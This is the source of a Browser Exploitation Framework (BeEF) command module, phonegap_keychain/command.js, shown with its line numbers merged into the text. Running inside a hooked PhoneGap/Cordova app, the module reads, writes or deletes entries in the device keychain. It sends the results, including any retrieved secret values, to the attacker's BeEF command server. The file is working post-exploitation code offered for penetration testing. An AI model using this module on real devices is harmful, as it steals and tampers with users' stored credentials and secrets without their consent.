Path: blob/master/modules/phonegap/phonegap_keychain/command.js
1154 views
//1// Copyright (c) 2006-2025 Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56// Phonegap_keychain7//8beef.execute(function() {9var servicename = "<%== @servicename %>";10var key = "<%== @key %>";11var value = "<%== @value %>";12var action = "<%== @action %>";13var result = '';14var kc = '';1516try {17kc = cordova.require("cordova/plugin/keychain");18} catch (err) {19result = 'Unable to access keychain plugin';20beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );21}2223function onGet()24{25var win = function(value) {26result = result + "GET SUCCESS - Key: " + key + " Value: " + value;27beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );2829};30var fail = function(error) {31result = result + "GET FAIL - Key: " + key + " Error: " + error;32beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );33};3435kc.getForKey(win, fail, key, servicename);3637}3839function onSet()40{41var win = function() {42result = result + "SET SUCCESS - Key: " + key;43beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );44};45var fail = function(error) {46result = result + "SET FAIL - Key: " + key + " Error: " + error;47beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );48};4950kc.setForKey(win, fail, key, servicename, value);51}5253function onRemove()54{55var win = function() {56result = result + "REMOVE SUCCESS - Key: " + key;57beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );58};59var fail = function(error) {60result = result + "REMOVE FAIL - Key: " + key + " Error: " + error;61beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );62};6364kc.removeForKey(win, fail, key, servicename);65}6667if (kc !== undefined) {68switch(action) {69case 'Read':70onGet();71break;72case 'CreateUpdate':73onSet();74break;75case 'Delete':76onRemove();77break;78}79}8081});828384